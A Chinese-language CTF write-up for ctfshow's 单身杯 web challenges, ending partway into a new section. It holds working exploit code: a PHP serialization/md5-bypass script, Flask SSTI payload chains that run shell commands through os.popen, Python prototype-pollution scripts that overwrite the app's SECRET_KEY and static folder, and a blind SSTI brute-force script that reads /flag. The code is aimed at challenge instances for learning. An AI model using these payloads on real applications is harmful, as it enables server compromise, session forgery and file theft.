ctfshow单身杯
学习新姿势,争做新青年!
# 签到·好玩的PHP
学到了新的md5绕过姿势,字符串和数字的MD5值是相等的
参考文章:PHP md5()函数详解,PHP计算MD5,md5()绕过,md5()漏洞原理剖析 (opens new window)
exp
<?php
class ctfshow {
private $d;
private $s;
private $b;
public $ctf=1.2;
public function __construct() {
$this->d = '1';
$this->s = '.';
$this->b = '2';
}
}
$a = new ctfshow();
echo urlencode(serialize($a))."\n";
var_dump($a);
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# ezzz_ssti
把payload分片写到config变量里
参考文章:Python Flask SSTI 之 长度限制绕过 (opens new window)
exp
{{config.update(l=lipsum)}}
{{config.update(g=request.args.a)}}&a=__globals__
{{config.update(f=config.l)}}
{{config.update(f=f|attr(config.g))}}
{{config.update(f=config.l[config.g])}}
{{config.update(o=config.f.os)}}
{{config.update(p=config.o.popen)}}
{{config.p(request.args.c).read()}}&c=cat /*
2
3
4
5
6
7
8
# ez_inject 【复现】
bao师傅出的题目,又学到新姿势了。出题人讲解 (opens new window)
现在来仔细复现一下,一个学习原型链污染的好机会,被知识**了两天。看到师傅思路,太赞了。
注册一个账号,看看各个路由下的内容
题目提示可以在登录或者注册处污染密钥
本地调试污染过程
from flask import *
import os
app = Flask(__name__)
app.config['SECRET_KEY'] = 'th1s_i5_rea1_k3y'
class test:
def __init__(self):
pass
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
print(app.config['SECRET_KEY'])
instance = test()
payload = {
"__init__":{
"__globals__":{
"app":{
"config":{
"SECRET_KEY":"abc"
}
}
}
}
}
merge(payload, instance)
print(app.config['SECRET_KEY'])
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
题做的少了,踩坑了
- 直接把payload填在账号密码处了
- hackbar发送账号密码payload是表单类型,不会进入merge函数的污染操作
这里用python发包
import requests
import json
url = "http://077305e9-a873-4e8f-aafe-034240ae3a96.challenge.ctf.show/register"
payload={
"username": "3",
"password": "3",
"__init__": {
"__globals__": {
"app": {
"config": {
"SECRET_KEY": "abc"
}
}
}
}
}
r = requests.post(url=url, json=payload)
print(r.text)
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
把cookie里的session user值取出来解码一下,伪造is_admin的值,用伪造的seesion替换原session
在sercet路由下,界面发生改变,提示可以在echo路由下注入,flask注入应该就是ssti了。这一步如果替换seesion后,发现自己登录的账号退掉了,说明你secret_key污染失败了
现在不用关注session了,只需要在echo路由下注入
测速config,可以看到回显。这里ssti不需要双花括号
出题人没有严格过滤,尝试发现可以执行命令回显出来
self['__in''it__']['__glo''bals__']['__buil''tins__']['__impo''rt__']('o''s').popen('ls;ls /;nl /flag').read()
出题人认为这题出现了非预期,没有考虑到_static_folder
的权限利用。可以污染app._static_folder
,改变static静态目录下的实际目录,定位到根目录,这样可以直接访问flag
import requests
import json
url = "http://f5b184ba-4853-42a4-bf88-8c65497fc62a.challenge.ctf.show/register"
payload={
"username": "4",
"password": "4",
"__init__": {
"__globals__":{
"app":{
"_static_folder":"/"
}
}
}
}
r = requests.post(url=url, json=payload)
print(r.text)
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
污染后访问url/static/flag
就可以实现直接访问根目录下的flag
现在讲讲在ssti注入这里,出题人的预期思路(猜测):
- 禁用ssti常见关键词,利用拼接或编码绕过
- 禁用shell常见查看命令,不能直接看flag
- 如果ssti成功注入且存在比较,会返回true或false。仅仅是
1-1
,7*7
这种似乎不会解析?
这里预期希望达到一个像sql盲注的效果,通过提示判断flag每一位的值
带上session,在echo路由下盲注
# Author: baozongwi
import requests
url = "http://f5b184ba-4853-42a4-bf88-8c65497fc62a.challenge.ctf.show/echo"
strings = "1234567890abcdef-tfshow{}"
target = ""
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"cookie": "user=eyJpc19hZG1pbiI6MSwidXNlcm5hbWUiOiIzIn0.ZzQrsw.wocMaLqlVcQkr6-mms3BVOIrGD4"
}
for i in range(50):
for j in range(50):
for string in strings:
payload = '''
cycler["__in"+"it__"]["__glo"+"bals__"]["__bui"+"ltins__"].open('/flag').read({})[{}]=='{}'
'''.format(j + 1, j, string)
data={
"message":payload
}
r = requests.post(url=url, data=data, headers=headers)
if r.status_code == 200 and "your answer is True" in r.text:
print(string)
target += string
if string == "}":
print(target)
exit()
break
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# 迷雾重重 【复现】
题目使用的webman (opens new window)框架,在官网临时学习一下
app/controller/IndexController.php
是入口